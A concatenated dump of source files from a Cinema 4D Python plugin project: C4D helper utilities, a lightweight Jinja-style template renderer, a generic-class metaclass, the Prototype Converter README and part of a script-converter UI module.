'''
Walk over all entries in the #c4d.BaseContainer. Usually, you would do this
with #c4d.BaseContainer.__iter__(), but it poses two issues:
1. If a subcontainer is yielded, it is actually a copy of that container
2. If a datatype in the container can not be represented in Python, it
will raise an :class:`AttributeError`
This function uses #c4d.BaseContainer.GetIndexId() to iterate over all
entries and #c4d.BaseContainer.GetIndexData() to read the value.
Requires R16+
'''
index = 0
ident = bc.GetIndexId(index)
while ident != c4d.NOTOK:
try:
yield ident, bc.GetIndexData(index)
except AttributeError:
pass
index += 1
ident = bc.GetIndexId(index)
def walk_shaders(node):
'''
Walk over the shader-list of a #c4d.BaseList2D node. It is safe to remove
shaders during iteration.
'''
shader = node.GetFirstShader()
while shader:
next_ = shader.GetNext()
yield shader
shader = next_
def remove_document(doc, new_active_doc=None):
'''
The Cinema 4D API only provides a #c4d.documents.KillDocument() function
that not only removes the specified #c4d.BaseDocument from the document
list, but really *kills* it, ie. it can not be used anymore aftert the
function is called.
This function *only* removes the document from the Cinema 4D document list
so that it is still valid and can be accessed from Python.
doc (c4d.BaseDocument): The document to remove.
new_active_doc (c4d.BaseDocument):
If specified, this will become the new active Cinema 4D document.
Otherwise, the next document of *doc* will be used (C4D default behaviour)
or a new empty document is created if none exists.
'''
if type(doc) is not c4d.documents.BaseDocument:
raise TypeError("doc must be a BaseDocument object")
if new_active_doc is not None and \
type(new_active_doc) is not c4d.documents.BaseDocument:
raise TypeError("new_active_doc must be a BaseDocument object")
successor = new_active_doc or doc.GetPred() or doc.GetNext()
doc.Remove()
# Note: The document will be removed before eventually inserting
# a new document because if *doc* is the active document and is
# empty, InsertBaseDocument will actually kill it before inserting
# the new document.
if not successor:
successor = c4d.documents.BaseDocument()
c4d.documents.InsertBaseDocument(successor)
c4d.documents.SetActiveDocument(successor)
class TemporaryDocument(object):
'''
The #TemporaryDocument class provides, as the name implies, a temporary
#c4d.documents.BaseDocument that can be used to perform operations in an
isolated environment such as calling modeling commands or #c4d.CallCommand().
When the TemporaryDocument is created, it is not immediately activated. To
do so, one must call the #attach() method or use it as a context-manager.
When the document is no longer needed, the context-manager will close the
document and remove it from the Cinema 4D document list or #detach() must be
called manually. The *TemporaryDocument* can be re-used after it has been
closed.
Use the #get() method to obtain the wrapped *BaseDocument* or catch the
return value of the context-manager.
> **Note**: If #detach() was not called after #attach() and the
> #TemporaryDocument object is being deleted via the garbage collector, a
> #RuntimeWarning will be issued but the document will not be detached.
**Important**: You must not remove the internal document through any means
but the #detach() method.
'''
__slots__ = ('_bdoc', '_odoc')
def __init__(self):
super(TemporaryDocument, self).__init__()
self._bdoc = c4d.documents.BaseDocument()
self._odoc = None
def __del__(self):
if self._odoc is not None:
warnings.warn(
"TemporaryDocument not detached before being "
"garbage collected", RuntimeWarning)
def __enter__(self):
''' Attaches the real temporary document and returns it. '''
self.attach()
return self.get()
def __exit__(self, *args):
self.detach()
def attach(self):
'''
Attaches the temporary document to the Cinema 4D document list. It will
also be promoted to be the active document. A call to #detach() must be
paired with #attach().
The document that is active before this method is called will
be saved and promoted back to being the active document with
calling #detach().
Returns *self* for method-chaining.
'''
if self._odoc is not None:
raise RuntimeErrorn("attach() has already been called")
self._odoc = c4d.documents.GetActiveDocument()
c4d.documents.InsertBaseDocument(self._bdoc)
c4d.documents.SetActiveDocument(self._bdoc)
return self
def detach(self, do_recall=True):
'''
Detaches the temporary document from the Cinema 4D document list and
promotes the previous active document back to its original status unless
*do_recall* is False.
Returns *self* for method-chaining.
'''
if self._odoc is None:
raise RuntimeError("attach() has not been called before")
remove_document(self._bdoc, self._odoc() if do_recall else None)
self._odoc = None
return self
def get(self):
''' Returns the internal #c4d.BaseDocument object. '''
return self._bdoc
def is_attached(self):
'''
Returns #True if this #TemporaryDocument is attached, i.e. it is inside
the Cinema 4D document list, #False if it's not.
'''
attached = self._odoc is not None
return attached
class UndoHandler(object):
'''
The #UndoHandler is a useful class to temporarily apply changes to
components of Cinema 4D objects, tags, materials, nodes, documents etc. and
revert them at a specific point.
Internally, the #UndoHandler* simply stores a list of callables that are
called upon #revert(). All methods that store the original state of a node
simply append a callable to it. Custom callables can be added with
#custom().
'''
__slots__ = ('_flist',)
def __init__(self):
super(UndoHandler, self).__init__()
self._flist = []
def __enter__(self):
return self
def __exit__(self, *args):
self.revert()
def revert(self):
'''
Reverts back to the original states that have been kept track
of with this #UndoHandler and flushes these states.
'''
flist, self._flist = self._flist, []
[f() for f in reversed(flist)]
def custom(self, target):
'''
Adds a custom callable object that is invoked when :meth:`revert`
is called. It must accept no arguments.
'''
if not callable(target):
raise TypeError("<target> must be callable", type(target))
self._flist.append(target)
def matrix(self, op):
''' Restores ops current matrix upon #revert(). '''
ml = op.GetMl()
def revert_matrix():
op.SetMl(ml)
self._flist.append(revert_matrix)
def location(self, node):
'''
Tracks the hierarchical location of *node* and restores it upon #revert().
This method only supports materials, tags and objects. This will also
remove nodes that were not inserted any where before.
'''
pred_node = node.GetPred()
next_node = node.GetNext()
parent = node.GetUp()
tag_host = node.GetObject() if isinstance(node, c4d.BaseTag) else None
doc = node.GetDocument()
if not any([pred_node, next_node, parent, tag_host]) and doc:
supported_classes = (c4d.BaseMaterial, c4d.BaseObject)
if not isinstance(node, supported_classes):
raise TypeError(
"only materials and objects are supported when "
"located at their root", type(node))
def revert_hierarchy():
node.Remove()
if pred_node and pred_node.GetUp() == parent:
node.InsertAfter(pred_node)
elif next_node and next_node.GetUp() == parent:
node.InsertBefore(next_node)
elif parent:
node.InsertUnder(parent)
elif tag_host:
tag_host.InsertTag(node)
elif doc:
if isinstance(node, c4d.BaseMaterial):
doc.InsertMaterial(node)
elif isinstance(node, c4d.BaseObject):
doc.InsertObject(node)
else:
raise RuntimeError("unexpected type of <node>", type(node))
self._flist.append(revert_hierarchy)
def container(self, node):
'''
Grabs a copy of the nodes #c4d.BaseContainer and restores it upon
#revert().
'''
data = node.GetData()
def revert_container():
node.SetData(data)
self._flist.append(revert_container)
def whole_node(self, node):
'''
Gets a complete copy of *node* and restores its complete state upon
#revert(). This is like using #c4d.UNDOTYPE_CHANGE with
#c4d.BaseDocument.AddUndo() except that it does not include the
hierarchical location. For that, you can use the #location().
'''
flags = c4d.COPYFLAGS_NO_HIERARCHY | c4d.COPYFLAGS_NO_BRANCHES
clone = node.GetClone(flags)
def revert_node():
clone.CopyTo(node, c4d.COPYFLAGS_0)
self._flist.append(revert_node)
def duplicate_object(obj, n=None):
'''
Duplicate *obj* and return it. If *n* is not None, it must be a number. If a
number is specified, this function creates *n* duplicates instead and
returns a list of the duplicates.
This function uses the Cinema 4D "Duplicate" tool to create the copies of
*obj*. In many cases, this is more desirable than using #c4d.C4DAtom.GetClone()
since the #c4d.AliasTrans class is only available since R17.
obj (c4d.BaseObject): The object to clone.
n (None, int): The number of clones.
return (c4d.BaseObject, list of c4d.BaseObject):
A list of the cloned objects or a single object if *n* was None.
raise RuntimeError:
If *obj* is not inserted in a #c4d.BaseDocument or if the objects could
not be cloned.
'''
doc = obj.GetDocument()
if not doc:
raise RuntimeError("obj must be in a c4d.BaseDocument")
bc = c4d.BaseContainer()
bc[c4d.MDATA_DUPLICATE_COPIES] = 1 if n is None else n
bc[c4d.MDATA_DUPLICATE_INSTANCES] = c4d.MDATA_DUPLICATE_INSTANCES_OFF
bc[c4d.MDATA_ARRANGE_MODE] = c4d.MDATA_ARRANGE_MODE_SELECTMODE
result = c4d.utils.SendModelingCommand(
c4d.ID_MODELING_DUPLICATE_TOOL, [obj], bc=bc, doc=doc)
if not result:
raise RuntimeError("could not duplicate object")
name = obj.GetName()
root = obj.GetNext()
assert root.CheckType(c4d.Onull)
clones = []
for child in root.GetChildren():
child.SetName(name)
child.Remove()
clones.append(child)
root.Remove()
return clones
def move_axis(obj, new_axis):
'''
Simulate the "Axis Move" mode in Cinema 4D. This function moves the axis of
a #c4d.BaseObject to the specified *new_axis* in *local space*. Child objects
will remain at their original position relative to *global space*. If *obj*
is a #c4d.PointObject, same applies for the object's points.
```python
import c4d
from nr.c4d.utils import move_axis
# Rotate the axis of an object by 45 Degrees around the X axis.
doc.AddUndo(c4d.UNDOTYPE_HIERARCHY_PSR, op)
mat = op.GetMl() * c4d.utils.MatrixRotX(c4d.utils.Rad(45))
move_axis(op, mat)
```
obj (c4d.BaseObject):
new_axis (c4d.Matrix):
'''
mat = ~new_axis * obj.GetMl()
if obj.CheckType(c4d.Opoint):
points = [p * mat for p in obj.GetAllPoints()]
obj.SetAllPoints(points)
obj.Message(c4d.MSG_UPDATE)
for child in obj.GetChildren():
child.SetMl(mat * child.GetMl())
obj.SetMl(new_axis)
class PolygonObjectInfo(object):
'''
This class stores the points and polygons of a #c4d.PolygonObject and
computes the normals and polygon middle points.
op: The #c4d.PolygonObject to initialize the object for.
points: True if the object points should be stored.
polygons: True if the object polygons should be stored.
normals: True if the object normals should be computed.
midpoints: True if the polygon midpoints should be computed.
vertex_normals: True if the vertex normals should be computed
(implies the *normals* parameter).
# Members
points:
polygons:
normals:
vertex_normals:
midpoints:
pointcount:
polycount:
'''
def __init__(self, op, points=False, polygons=False, normals=False,
midpoints=False, vertex_normals=False):
super(PolygonObjectInfo, self).__init__()
self.points = None
self.polygons = None
self.normals = None
self.vertex_normals = None
self.midpoints = None
self.pointcount = op.GetPointCount()
self.polycount = op.GetPolygonCount()
if points or normals or vertex_normals or midpoints:
self.points = op.GetAllPoints()
if polygons or normals or vertex_normals or midpoints:
self.polygons = op.GetAllPolygons()
if normals or vertex_normals:
self.normals = [None] * self.polycount
if vertex_normals:
self.vertex_normals = [
[c4d.Vector(), 0] for __ in xrange(self.pointcount)]
if midpoints:
self.midpoints = [None] * self.polycount
if normals or vertex_normals or midpoints:
m3 = 1.0 / 3.0
m4 = 1.0 / 4.0
for i, p in enumerate(self.polygons):
a, b, c, d = self.points[p.a], self.points[p.b], self.points[p.c], self.points[p.d]
if normals or vertex_normals:
n = (a - b).Cross(a - d)
n.Normalize()
self.normals[i] = n
if midpoints:
m = a + b + c
if p.c == p.d:
m *= m3
else:
m += d
m *= m4
self.midpoints[i] = m
if vertex_normals:
def _add(index, n):
data = self.vertex_normals[index]
data[0] += n
data[1] += index
for n, p in itertools.izip(self.normals, self.polygons):
_add(p.a, n)
_add(p.b, n)
_add(p.c, n)
if p.c != p.d:
_add(p.d, n)
self.vertex_normals[:] = (x.GetNormalized() for x in self.vertex_normals)
if not points:
self.points = None
if not polygons:
self.polygons = None
def assoc_mats_with_objects(doc):
'''
This function goes through the complete object hierarchy of the passed
#c4d.BaseDocument and all materials with the objects that carry a texture-tag
with that material. The returnvalue is an #OrderedDict instance. The keys of
the dictionary-like object are the materials in the document, their
associated values are lists of #c4d.BaseObject. Note that an object *can*
occure twice in the same list when the object has two tags with the same
material on it.
doc (c4d.BaseDocument):
return (OrderedDict):
'''
data = OrderedDict()
def callback(op):
for tag in op.GetTags():
if tag.CheckType(c4d.Ttexture):
mat = tag[c4d.TEXTURETAG_MATERIAL]
if not mat: continue
data.setdefault(mat, []).append(op)
for child in op.GetChildren():
callback(child)
for obj in doc.GetObjects():
callback(obj)
return data
def load_bitmap(filename):
'''
Loads a #c4d.bitmaps.BaseBitmap from the specified *filename* and returns it
or None if the file could not be loaded.
filename (str): The file to load the image from.
return (c4d.BaseBitmap, None):
'''
bmp = c4d.bitmaps.BaseBitmap()
if bmp.InitWith(filename)[0] != c4d.IMAGERESULT_OK:
return None
return bmp
def find_root(node):
'''
Finds the top-most object of the hierarchy of *node* and returns it. Note
that this could very well be the *node* passed to this function.
node (c4d.BaseList2D):
return (c4d.BaseList2D):
'''
parent = node.GetUp()
while parent:
node = parent
parent = node.GetUp()
return node
def candidates(value, obj, callback=lambda vref, vcmp, kcmp: vref == vcmp):
'''
Searches for *value* in *obj* and returns a list of all keys where the
callback returns True, being passed *value* as first argument, the value to
compare it with as the second argument and the name of the attribute as the third.
return (list of str):
'''
results = []
for k, v in vars(obj).iteritems():
if callback(value, v, k):
results.append(k)
return results
def find_menu_resource(*path):
bc = c4d.gui.GetMenuResource(path[0])
for menu in path[1:]:
found = False
index = 0
while True:
key = bc.GetIndexId(index)
if key == c4d.NOTOK: break
if key == c4d.MENURESOURCE_SUBMENU:
subbc = bc.GetIndexData(index)
if subbc[c4d.MENURESOURCE_SUBTITLE] == menu:
found = True
bc = subbc
break
index += 1
if not found:
return None
return bc
def bc_insert(bc, id, data, index):
newbc = c4d.BaseContainer()
for i, (k, v) in enumerate(bc):
if i == index:
newbc.InsData(id, data)
newbc.InsData(k, v)
newbc.CopyTo(bc, 0)
return bc
# A dictionary with support for some normally unhashable C4D types.
class HashDict(_HashDict):
SPECIALIZATIONS = {}
@classmethod
def specialize(cls, type):
def decorator(func):
cls.SPECIALIZATIONS[type] = func
return func
return decorator
def key_hash(self, key):
return self.SPECIALIZATIONS.get(type(key), hash)(key)
@HashDict.specialize(c4d.DescID)
def hash_descid(x):
levels = (x[i] for i in xrange(x.GetDepth()))
return hash(tuple(l.id for l in levels))
<file_sep>/lib/nr.types/src/nr/__init__.py
try:
from pkg_resources import declare_namespace
declare_namespace(__name__)
except ImportError:
import pkgutil
__path__ = pkgutil.extend_path(__path__, __name__)
<file_sep>/lib/nr.types/README.md
# nr.types
A collection of useful Python datatypes, including enumerations, generics,
enhanced mappings, meta-programming tools and sumtypes.
## Changes
### 1.0.4 (2018-07-05)
* Add missing requirement `six` to `setup.py` and `requirements.txt`
### 1.0.4 (2018-06-29)
* Add `nr.types.function` module
* Add `nr.types.generic` module
* Make `nr.types.named` module Python 2.6 compatible
* Fix `ObjectAsMap.__new__` and `MapAsObject.__new__`
### 1.0.3 (2018-06-03)
* Hotfix for the `__version__` member in the `nr.types` module
### 1.0.2 (2018-06-03)
* Setup script Python 2 compatibility
<file_sep>/c4d_prototype_converter/little_jinja.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import collections
import re
try: from cStringIO import StringIO
except ImportError: from StringIO import StringIO
class RegexScanner(object):
"""
Helper class to parse a string using regex patterns.
"""
def __init__(self, string):
self.string = string
self.offset = 0
self.rules = []
self.previous = None
self.current = None
def __bool__(self):
if self.current is not None and self.current[0] is None:
return False
return True
__nonzero__ = __bool__
def __iter__(self):
while True:
kind, match = self.next()
if match is None: break
yield kind, match
def rule(self, name, pattern, flags=0):
self.rules.append((name, re.compile(pattern, flags)))
def next(self, rule_names=None):
if self.current and self.current[0] is None:
return self.current
nearest = None
nearest_index = None
for name, pattern in self.rules:
if rule_names is not None and name not in rule_names:
continue
match = pattern.search(self.string, self.offset)
if match and (nearest is None or match.start() < nearest_index):
nearest = (name, match)
nearest_index = match.start()
if nearest:
self.offset = nearest[1].end()
result = nearest
else:
result = (None, None)
self.previous = self.current
self.current = result
return self.current
def behind(self):
"""
Returns the text that has been skipped between the current and the
previous match.
"""
if self.current is None:
return ''
if self.previous is None:
start = 0
else:
start = self.previous[1].end()
if self.current[0] is None:
end = len(self.string)
else:
end = self.current[1].start()
return self.string[start:end]
def skipline(self):
"""
Skip to the beginning of the next line.
"""
newline = self.string.find('\n', self.offset)
if newline >= 0:
self.offset = newline + 1
def little_jinja(template_string, context):
"""
A very lightweight implementation of the Jinja template rendering engine.
The following syntax is supported:
* `{{ expr }}`
* `{% if <cond> %}{% elif <cond> %}{% else %}{% endif %}`
* `{% for <vars> in <expr> %}{% endif %}`
The control-flow tags may be used as `{%-` and/or `-%}` to strip the
content of the line before or after the tag, respectively.
"""
scanner = RegexScanner(template_string)
scanner.rule('var', r'\{\{(.*?)\}\}')
scanner.rule('if', r'\{%-?\s*if\b(.*?)-?%\}')
scanner.rule('elif', r'\{%-?\s*elif\b(.*?)-?%\}')
scanner.rule('else', r'\{%-?\s*else\s*-?%\}')
scanner.rule('endif', r'\{%-?\s*endif\s*-?%\}')
scanner.rule('for', r'\{%-?\s*for\s+(.*?)\s+in\s+(.*?)\s*-?%\}')
scanner.rule('endfor', r'\{%-?\s*endfor\s*-?%\}')
class Node(object):
def __init__(self, type, data, sub):
self.type = type
self.data = data
self.sub = sub
root = Node('root', None, [])
open_blocks = [root]
for kind, match in scanner:
prev_text = Node('text', scanner.behind(), None)
open_blocks[-1].sub.append(prev_text)
strip_left = match.group(0).startswith('{%-')
strip_right = match.group(0).endswith('-%}')
if kind == 'var':
open_blocks[-1].sub.append(Node('var', match.group(1), None))
elif kind in ('if', 'elif', 'else', 'endif'):
if kind == 'if':
if_node = Node('if', {'elif': [], 'else': None, 'cond': match.group(1), 'index': match.start()}, [])
open_blocks[-1].sub.append(if_node)
open_blocks.append(if_node)
elif kind == 'elif':
if open_blocks[-1].type not in ('if', 'elif'):
raise ValueError('unmatched "elif" instruction')
elif_node = Node('elif', {'cond': match.group(1)}, [])
if_node = next(x for x in reversed(open_blocks) if x.type == 'if')
if_node.data['elif'].append(elif_node)
open_blocks.append(elif_node)
elif kind == 'else':
if open_blocks[-1].type not in ('if', 'elif'):
raise ValueError('unmatched "else" instruction')
else_node = Node('else', None, [])
if_node = next(x for x in reversed(open_blocks) if x.type == 'if')
if if_node.data['else']:
raise ValueError('multiple "else" instructions')
if_node.data['else'] = else_node
open_blocks.append(else_node)
elif kind == 'endif':
if open_blocks[-1].type not in ('if', 'elif', 'else'):
raise ValueError('unmatched "endif" instruction')
while open_blocks[-1].type in ('elif', 'else'):
open_blocks.pop()
assert open_blocks[-1].type == 'if'
open_blocks.pop()
else:
assert False, kind
elif kind in ('for', 'endfor'):
if kind == 'for':
varnames, expr = match.group(1), match.group(2)
for_node = Node('for', {'varnames': varnames.split(','), 'expr': expr, 'index': match.start()}, [])
open_blocks[-1].sub.append(for_node)
open_blocks.append(for_node)
elif kind == 'endfor':
if open_blocks[-1].type != 'for':
raise ValueError('unmatched "endfor" instruction')
open_blocks.pop()
else:
assert False, kind
if strip_left:
newline = prev_text.data.rfind('\n')
if newline >= 0:
prev_text.data = prev_text.data[:newline]
if strip_right:
scanner.skipline()
open_blocks[-1].sub.append(Node('text', scanner.behind(), None))
if len(open_blocks) != 1:
node = open_blocks[-1]
line = 1 + template_string.count('\n', 0, node.data['index'])
raise ValueError('invalid template: unclosed {} block at line {}'
.format(node.type, line))
out = StringIO()
def render(node, context):
if node.type == 'text':
out.write(node.data)
elif node.type == 'var':
out.write(str(eval(node.data, context)))
elif node.type == 'if':
tests = [node] + node.data['elif']
for cond_node in tests:
if eval(cond_node.data['cond'], context):
for child in cond_node.sub:
render(child, context)
break
else:
if node.data['else']:
for child in node.sub:
render(child, context)
elif node.type == 'for':
sub_context = context.copy()
for index, item in enumerate(eval(node.data['expr'], context)):
sub_context['loop_index'] = index
if len(node.data['varnames']) == 1:
sub_context[node.data['varnames'][0].strip()] = item
else:
if len(item) != len(node.data['varnames']):
raise ValueError('unpacking of "{}" failed at index {}'
.format(node.data['expr'], index))
for varname, value in zip(node.data['varnames'], item):
sub_context[varname.strip()] = value
for child in node.sub:
render(child, sub_context)
else:
assert False, node.type
for node in root.sub:
render(node, context)
return out.getvalue()
<file_sep>/README.md
## Cinema 4D Prototype Converter

This plugin aids you in converting your Cinema 4D Python plugin prototype
to a plugin.
<table>
<tr>
<th colspan="2" align="left">Script Converter</th>
</tr>
<tr>
<td><img src="https://i.imgur.com/RqgwueB.png" width="auto"></td>
<td>
This tool converts a Cinema 4D Python Script to a `CommandData` plugin.
Scripts you convert with this tool should have a `main()` function.
#### Features
* The `main()` function will be automatically converted to a
`CommandData.Execute()` method
</td>
</tr>
<tr>
<th colspan="2" align="left">Prototype Converter</th>
</tr>
<tr>
<td><img src="https://i.imgur.com/GEdBq6Z.png" width="auto"></td>
<td>
This tool converts a Cinema 4D Python Generator or Expression Tag to a
`ObjectData` or `TagData` plugin.
#### Features
* Converts UserData to description resource files
* Converts `main()` and `message()` functions in your Python code to the
respective plugin member method (`GetVirtualObjects()`, `Execute()`, `Message()`)
* Replaces uses of `op[c4d.ID_USERDATA,X]` with the automatically generated
resource symbols
</td>
</tr>
</table>
### FAQ
<details><summary>How to install the Plugin?</summary>
> Downloading the source code from GitHub is not sufficient as it will not
> include Git submodules. Check the [Releases][] page to find the latest
> downloadable release or use a Git client to clone the repository recursively
> into your Cinema 4D plugins directory.
</details>
<details><summary>Where to find the Plugin in Cinema 4D?</summary>
> After you have installed the plugin, you can find it in the Cinema 4D
> Script menu.
>
> 
</details>
<details><summary>How does the code refactoring work?</summary>
> We use the `lib2to3` module from the Python standard library to parse and
> transform your code so that it (somewhat) matches the way it needs to be
> for Python plugins and to adjust the indentation.
</details>
### Ideas for the Future
* Report possible errors during conversion (eg. referencing the variables
`doc` or `op` in global functions without previously declaring them)
### Acknowledgements
This project is sponsored by [Maxon US](https://www.maxon.net/en-us/) and was
created for [Cineversity.com](https://www.cineversity.com/)'s
[CV-Toolbox](https://www.cineversity.com/vidplaytut/cv_toolbox).
- Programming and Design: [<NAME>](https://www.niklasrosenstein.com/)
- Initial Concept and Design: [Donovan Keith](https://www.donovankeith.com)
### Changes
#### v1.2.0
* Update third-party libraries (`nr.c4d`, `nr.types`, `six`)
* Make Script Converter and Prototype Convert commands visible in Commander (Shift+C)
* Fix #48 – DEFAULT property with UNIT PERCENT does NOT need to be multiplied by 100
* Fix #49 – "Animatable" user data parameter - error when OFF
#### v1.1.0
* Initial public release
---
<p align="center">Copyright © 2018 <NAME></p>
<file_sep>/lib/nr.types/src/nr/types/generic.py
# coding: utf8
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
This module provides the metaclass #GenericMeta and the subclassing helper
#Generic which can be used to create generic subclasses. Example:
```python
import nr.generic
class HashDict(nr.generic.Generic['hash_key']):
def __init__(self):
nr.generic.assert_initialized(self)
self.data = {}
def __getitem__(self, key):
return self.data[self.hash_key(key)]
def __setitem__(self, key, value):
self.data[self.hash_key(key)] = value
"""
import types
from six.moves import range
class GenericMeta(type):
"""
Metaclass that can be used for classes that need one or more datatypes
pre-declared to function properly. The datatypes must be declared using
the `__generic_args__` member and passed to the classes' `__getitem__()`
operator to bind the class to these arguments.
A generic class constructor may check it's `__generic_bind__` member to
see if its generic arguments are bound or not.
"""
def __init__(cls, *args, **kwargs):
if not hasattr(cls, '__generic_args__'):
raise TypeError('{}.__generic_args__ is not set'.format(cls.__name__))
had_optional = False
for index, item in enumerate(cls.__generic_args__):
if not isinstance(item, tuple):
item = (item,)
arg_name = item[0]
arg_default = item[1] if len(item) > 1 else NotImplemented
if arg_default is NotImplemented and had_optional:
raise ValueError('invalid {}.__generic_args__, default argument '
'followed by non-default argument "{}"'
.format(cls.__name__, arg_name))
cls.__generic_args__[index] = (arg_name, arg_default)
super(GenericMeta, cls).__init__(*args, **kwargs)
if not hasattr(cls, '__generic_bind__'):
cls.__generic_bind__ = None
elif cls.__generic_bind__ is not None:
assert len(cls.__generic_args__) == len(cls.__generic_bind__)
for i in range(len(cls.__generic_args__)):
value = cls.__generic_bind__[i]
if isinstance(value, types.FunctionType):
value = staticmethod(value)
setattr(cls, cls.__generic_args__[i][0], value)
else:
collected_args = []
missing = []
for i, (arg_name, arg_default) in enumerate(cls.__generic_args__):
if hasattr(cls, arg_name):
collected_args.append(getattr(cls, arg_name))
elif arg_default is not NotImplemented:
collected_args.append(arg_default)
else:
missing.append(arg_name)
if collected_args and missing:
raise RuntimeError('{}: no all Generic arguments satisfied by '
'class members (missing {})'.format(cls.__name__, ','.join(missing)))
if collected_args:
cls.__generic_bind__ = collected_args
def __getitem__(cls, args):
cls = getattr(cls, '__generic_base__', cls)
if not isinstance(args, tuple):
args = (args,)
if len(args) > len(cls.__generic_args__):
raise TypeError('{} takes at most {} generic arguments ({} given)'
.format(cls.__name__, len(cls.__generic_args__), len(args)))
# Find the number of required arguments.
for index in range(len(cls.__generic_args__)):
if cls.__generic_args__[index][1] != NotImplemented:
break
else:
index = len(cls.__generic_args__)
min_args = index
if len(args) < min_args:
raise TypeError('{} takes at least {} generic arguments ({} given)'
.format(cls.__name__, min_args, len(args)))
# Bind the generic arguments.
bind_data = []
for index in range(len(cls.__generic_args__)):
arg_name, arg_default = cls.__generic_args__[index]
if index < len(args):
arg_value = args[index]
else:
assert arg_default is not NotImplemented
arg_value = arg_default
bind_data.append(arg_value)
type_name = '{}[{}]'.format(cls.__name__, ', '.join(repr(x) for x in bind_data))
data = {
'__module__': cls.__module__,
'__generic_bind__': bind_data,
'__generic_base__': cls
}
return type(type_name, (cls,), data)
class _GenericHelperMeta(type):
def __getitem__(self, args):
if not isinstance(args, tuple):
args = (args,)
data = {'__generic_args__': list(args)}
return GenericMeta('Generic[{0}]'.format(args), (object,), data)
Generic = _GenericHelperMeta('Generic', (object,), {})
def is_initialized(generic):
if not isinstance(generic, type):
generic = type(generic)
return generic.__generic_bind__ is not None
def assert_initialized(generic):
if not isinstance(generic, type):
generic = type(generic)
if not is_initialized(generic):
raise RuntimeError('Missing generic arguments for {}'.format(generic.__name__))
<file_sep>/c4d_prototype_converter/ui/ScriptConverter.py
from __future__ import print_function
import c4d
import os
import nr.c4d.ui
import re
import shutil
import traceback
import webbrowser
from .HelpMenu import HelpMenu
from .FileList import FileList, COLOR_RED
from ..little_jinja import little_jinja
from ..utils import makedirs
from .. import res, refactor
ID_SCRIPT_CONVERTER = 1040671
def get_library_scripts():
dirs = [os.path.join(c4d.storage.GeGetC4DPath(x), 'scripts')
for x in [c4d.C4D_PATH_LIBRARY, c4d.C4D_PATH_LIBRARY_USER]]
dirs += os.getenv('C4D_SCRIPTS_DIR', '').split(os.pathsep)
result = []
def recurse(directory, depth=0):
if not os.path.isdir(directory): return
directory_index = len(result)
for name in os.listdir(directory):
path = os.path.join(directory, name)
if name.endswith('.py'):
name = ' ' * depth + name + '&i{}&'.format(c4d.RESOURCEIMAGE_PYTHONSCRIPT)
result.append((path, name, True))
elif os.path.isdir(path):
recurse(path, depth+1)
if len(result) != directory_index and depth > 0:
name = ' ' * (depth-1) + os.path.basename(directory) + '/'
name += '&i' + str(c4d.RESOURCEIMAGE_TIMELINE_FOLDER2)
result.insert(directory_index, (directory, name, False))
for dirname in dirs:
dirname = dirname.strip()
if dirname:
recurse(dirname)
return result
def refactor_command_script(code):
code = refactor.indentation(code, ' ') # To match the indentation of the plugin stub.
code, docstring = refactor.split_docstring(code)
code, exec_func = refactor.split_and_refactor_global_function(
code, 'main', 'Execute', ['self', 'doc'], add_statement='return True')
code, future_line = refactor.split_future_imports(code)
if exec_func:
member_code = exec_func
code = refactor.strip_main_check(code)
else:
lines = ['def Execute(self, doc):']
for line in code.split('\n'):
lines.append(' ' + line)
lines.append(' return True')
member_code = '\n'.join(lines)
code = ''
return {
'future_line': future_line,
'docstring': docstring,
'code': code,
'member_code': member_code
}
class Converter(object):
"""
Helper datastructure that contains all the information for converting
scripts.
"""
SCRIPT_FILE_METADATA_CACHE = {}
@classmethod
def get_script_file_metadata(cls, filename):
if filename in cls.SCRIPT_FILE_METADATA_CACHE:
return cls.SCRIPT_FILE_METADATA_CACHE[filename]
if not os.path.isfile(filename):
return {}
with open(filename) as fp:
code = fp.read()
result = {}
for field in re.findall('(Name-US|Description-US):(.*)$', code, re.M):
if field[0] == 'Name-US':
result['name'] = field[1].strip()
elif field[0] == 'Description-US':
result['description'] = field[1].strip()
cls.SCRIPT_FILE_METADATA_CACHE[filename] = result
return result
def __init__(self, plugin_name='', plugin_help='', plugin_id='',
script_file='', icon_file='', directory='', indent=' ',
write_readme=True, overwrite=True):
self.plugin_name = plugin_name
self.plugin_help = None
self.plugin_id = plugin_id
self.script_file = script_file
self.icon_file = icon_file
self.directory = directory
self.indent = indent
self.write_readme = write_readme
self.overwrite = overwrite
def autofill(self, default_plugin_name='My Plugin'):
if not self.plugin_name:
if self.script_file:
metadata = self.get_script_file_metadata(self.script_file)
